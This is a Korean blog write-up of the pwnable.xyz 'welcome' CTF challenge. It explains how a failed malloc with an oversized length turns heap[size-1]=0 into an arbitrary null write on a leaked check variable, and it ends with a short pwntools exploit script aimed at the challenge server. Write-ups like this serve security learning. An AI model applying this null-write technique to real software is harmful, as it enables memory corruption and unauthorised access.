WAR GAME/pwnable.xyz

[pwnable.xyz] welcome 풀이 (64bit, malloc)

jir4vvit 2021. 4. 30. 20:53

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

첫 포너블.xyz 문제다~~~ 문제 이름이 welcome인데 welcome 못 할 뻔 했다 ㅎㅎ;


주어진 파일은 문제 파일 바이너리

Analysis

mitigation

후덜덜 ㅜ welcome 문제이고 50점 짜리인데 보호기법이 다 걸려 있다. .. 하지만 점수도 낮고 솔브 수도 높으니 쫄지 말자..

execution

length를 입력하고 message를 입력한다.

code

main

문제풀면서 간단하게 주석을 달아보았다.

크게크게 보면 chk의 값이 0이어야 flag를 읽을 수 있다.

 

이제.. chk의 값을 0으로 바꿔야하는 것에 집중하면서 위에서부터 살펴보자.

chk은 malloc의 반환값이다. malloc의 반환값이 뭔지 찾아보았다. malloc 함수의 인자(사이즈)만큼 할당에 성공하면 헐당된 메모리의 첫번째 주소를 리턴해준다. 실패하면 NULL,이 들어간다. (사실 이 malloc의 반환값에 대한 개념은 여기가 아니라 밑에 heap = malloc(size) 에서 쓰인다. size가 터무니 없이 크면 할당에 실패하여 heap은 0의 값을 가진다 ㅠ)

 

그리고 chk값을 1로 초기화시켜주고 chk 주소를 출력시켜 준다. 그리고 이제 size를 입력하는데 입력한 size만큼 malloc하여 heap을 할당한다. 그리고 size만큼 heap에다가 입력도 가능하다.

 

이제 중요한...이 아니라 내가 이해못한 구문이 나오는데,

heap[size-1] = 0

이게 무슨 말인지 잘 몰라서 gdb로 직접 디버깅해서 문제를 풀었다.

 

write 함수로 heap 내용 출력시켜주고 if문에서 chk이 0이면 cat /flag 명령을 실행한다.

 

mov ~ 라고 빨갛게 네모친 부분이 heap[size-1] = 0이다.

 

RBX에는 chk의 주소가 들어있고, RDX에는 내가 입력한 size가 들어있다. 그리고 RBP에는 내가 입력한 message..(heap) 'AAAAAAAA'가 들어있다.

지금 현재 명령어를 보면 결론적으로 [0x5555555757260 + 0x8 - 1] 즉... 0x~267 주소에 저장된 값에다가 0을 mov하고 있다. 여기서 chk 주소에 0을 넣고 싶다는 생각이 절박하게(?) 들기 시작한다. 저 주소값이 chk주소였으면 좋겠다. 그리고 RBP가 0이었으면 좋겠다 ㅎㅎ;

 

heap[size-1] = 0 즉, mov ~ 를 실행하고 밑에 cmp 명령을 실행하기 전까지 가보자.

RBP에는 'AAAAAAA'이 들어있고 이것과 0을 비교한다. (같으면 cat /flag 하는 곳으로 점프)

 

여기서 생각해야할 게... 만약 size를 겁나 크게 주면? malloc에 실패해서 heap의 값이 0이 된다고 했다. 그리고 read함수의 인자로 size가 쓰이는데 이 size가 겁나 커도 read함수에 입력이 안된다. 

 

그럼 내가 아까 절박하게(?) 원했던 RBP에 0, RDX에 chk주소+1 넣어서 [RBP+RDX-1] 주소를 chk 주소로 만들어 0을 mov할 수 있을 것 같다!!!!!

 

RDX는 아까 size라고 했으니 여기다가 leak한 chk주소에 1을 더해서 주자! message 즉, heap에다가 적을 내용은 신경 안써도 된다. 어차피 size가 넘 커서 적는데 실패할거니깐...

 

Exploit Scenario

Summary

  1. chk 주소를 leak
  2. size : leak+1
  3. message : 마음대로 ~ 

Exploit Code

scanf는 str()로 줘야 한다.

from pwn import *

#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30000)
e = ELF('./challenge')

p.recvuntil('Leak: ')
leak = int(p.recv(14),16)
log.success('leak = '+hex(leak))

pause()
p.sendlineafter('Length of your message: ', str(leak+1))

p.sendafter('Enter your message: ', '123')

p.interactive()